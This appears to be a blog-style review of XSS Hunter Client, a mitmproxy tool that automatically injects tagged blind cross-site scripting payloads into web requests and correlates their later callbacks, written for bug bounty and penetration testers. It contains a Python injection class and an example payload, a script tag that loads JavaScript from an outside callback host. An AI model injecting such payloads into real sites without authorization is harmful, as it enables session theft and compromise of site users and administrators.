Back to Articles

XSS Hunter Client: How MITM Proxies Solve the XSS Correlation Problem

[ View on GitHub ]

XSS Hunter Client: How MITM Proxies Solve the XSS Correlation Problem

Hook

When your XSS payload fires three days later in a completely different service, how do you know which of your 500 injection attempts actually worked? This is the correlation problem that breaks traditional XSS testing.

Context

Cross-site scripting testing has always suffered from an attribution problem. You inject payloads into dozens of form fields, URL parameters, and HTTP headers. Days or weeks later, when testing microservices architectures, your payload might execute in a completely different context—perhaps in an admin panel you don't have access to, or in an email sent to another user, or in a PDF generation service that processes data asynchronously. Traditional XSS testing tools tell you when a payload fires, but they can't tell you which specific injection point caused it.

This problem intensifies in modern applications built on microservices, message queues, and async processing pipelines. Data you inject into an API endpoint might flow through Kafka, get transformed by three different services, stored in Redis, and finally rendered in a dashboard. Manual tracking becomes impossible at scale. Bug bounty hunters would maintain spreadsheets mapping payload identifiers to injection attempts, but this manual correlation was error-prone and time-consuming. XSS Hunter Client emerged as an automated solution: a man-in-the-middle proxy that injects uniquely-tagged payloads and correlates them with callback notifications, turning the correlation problem into a solved engineering challenge.

Technical Insight

HTTP Requests

Intercept Request

Get Unique Payload

Tagged XSS Payload

Replace Dummy Words

Modified Request

Track Correlation

XSS Fires

Callback Notification

Browser Traffic

mitmproxy Proxy

XSS Injector Module

XSS Hunter Service

Target Web Application

Injection Log

System architecture — auto-generated

XSS Hunter Client is built on top of mitmproxy, leveraging its inline scripting capabilities to perform real-time request modification. The architecture is deceptively simple: it intercepts all HTTP traffic from your browser, searches for configurable "dummy words" in request parameters and bodies, and replaces them with uniquely-tagged XSS payloads from the XSS Hunter service. Each payload contains a unique identifier that links back to the specific request that triggered it.

The core implementation uses mitmproxy's request hook to intercept and modify traffic. When you configure dummy words like "XSSTEST" or "PAYLOAD_HERE", the proxy scans every outgoing request for these markers. Here's a simplified example of how the injection logic works:

from mitmproxy import http
import requests

class XSSInjector:
    def __init__(self, dummy_words, xsshunter_domain):
        self.dummy_words = dummy_words
        self.xsshunter_domain = xsshunter_domain
        self.injection_log = []
    
    def request(self, flow: http.HTTPFlow) -> None:
        # Generate unique payload from XSS Hunter
        unique_payload = self.get_unique_payload()
        
        # Replace dummy words in URL parameters
        for dummy in self.dummy_words:
            if dummy in flow.request.pretty_url:
                original_url = flow.request.pretty_url
                flow.request.url = flow.request.url.replace(dummy, unique_payload)
                self.log_injection(original_url, unique_payload, "URL")
        
        # Replace dummy words in POST body
        if flow.request.content:
            body = flow.request.get_text()
            for dummy in self.dummy_words:
                if dummy in body:
                    body = body.replace(dummy, unique_payload)
                    self.log_injection(flow.request.url, unique_payload, "BODY")
            flow.request.text = body
    
    def get_unique_payload(self):
        # Request unique payload from XSS Hunter service
        response = requests.get(f"https://{self.xsshunter_domain}/api/gen_payload")
        return response.json()["payload"]
    
    def log_injection(self, url, payload, location):
        self.injection_log.append({
            "url": url,
            "payload_id": self.extract_id(payload),
            "location": location,
            "timestamp": time.time()
        })

The brilliance of this approach is the payload correlation mechanism. Each XSS Hunter payload contains JavaScript that callbacks to the XSS Hunter service when executed, including the unique identifier. When you browse to https://example.com/search?q=XSSTEST, the proxy replaces "XSSTEST" with something like "><script src="https://yoursubdomain.xss.ht/abc123"></script>. The identifier "abc123" is logged locally along with the full request context. When that payload fires—whether immediately or days later—XSS Hunter notifies you with the "abc123" identifier, and you can trace it back to the exact request that caused it.

The proxy operates completely transparently to the target application. From the server's perspective, it's receiving normal HTTP requests with XSS payloads instead of your dummy words. From your browser's perspective, you're just browsing normally through a proxy. This transparency is crucial because it means you can use any browser, any tool, or any automated scanner—as long as traffic flows through the proxy, injections happen automatically.

The tool also handles complex scenarios like JSON APIs and multipart form data. For JSON payloads, it parses the structure, replaces dummy words in string values, and reconstructs valid JSON. For file uploads with multipart boundaries, it preserves the boundary structure while injecting into text fields. This attention to protocol specifics prevents the proxy from breaking legitimate requests while still achieving comprehensive payload injection.

One particularly clever aspect is the injection logging. The tool maintains a local database of every injection attempt, including full request details, response codes, and timing information. This creates an audit trail that's invaluable when discussing findings with developers or writing vulnerability reports. You can prove not just that XSS exists, but exactly how the data flows through their system to reach the vulnerable rendering context.

Gotcha

The dummy word approach, while elegant, introduces significant operational challenges. You need to choose dummy words that won't appear in normal traffic but will appear in all the places you want to test. Choose too common a word, and you'll inject payloads into production traffic you didn't intend to modify—potentially breaking functionality or triggering security alerts. Choose too obscure a word, and you'll spend mental energy remembering to type "XSSTEST12345" into every form field instead of just testing naturally. There's no perfect middle ground, and in practice, you'll likely need multiple dummy word sets for different testing scenarios.

The dependency on external XSS Hunter infrastructure is another limitation that isn't immediately obvious. Your testing workflow now requires internet connectivity and trust in a third-party service. In corporate penetration testing environments, this is often a dealbreaker—clients don't want their potentially sensitive data (even just URL paths and parameter names) sent to external services. While you can self-host XSS Hunter, this significantly increases setup complexity and defeats much of the convenience. The tool also inherits mitmproxy's certificate trust requirements, meaning you need to install and trust a custom CA certificate in every browser or tool you test with. This is standard for MITM proxies but creates friction in team environments where multiple testers need coordinated setup.

Verdict

Use if: You're conducting serious bug bounty work or penetration tests on complex, multi-service applications where data flows through async processing, microservices, or third-party integrations. The automatic correlation is worth its weight in gold when testing applications where XSS might fire in contexts you can't directly access (admin panels, email renders, PDF generation). Also use if you're testing at scale and need to correlate hundreds of injection attempts without manual bookkeeping. Skip if: You're working in environments that prohibit external service dependencies, testing simple single-page applications where manual correlation is trivial, or conducting initial reconnaissance where the MITM proxy setup overhead exceeds the testing value. Also skip if you need real-time testing feedback during development—this tool is optimized for offensive security workflows, not developer-friendly integration testing.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/mandatoryprogrammer-xsshunter-client.svg)](https://starlog.is/api/badge-click/developer-tools/mandatoryprogrammer-xsshunter-client)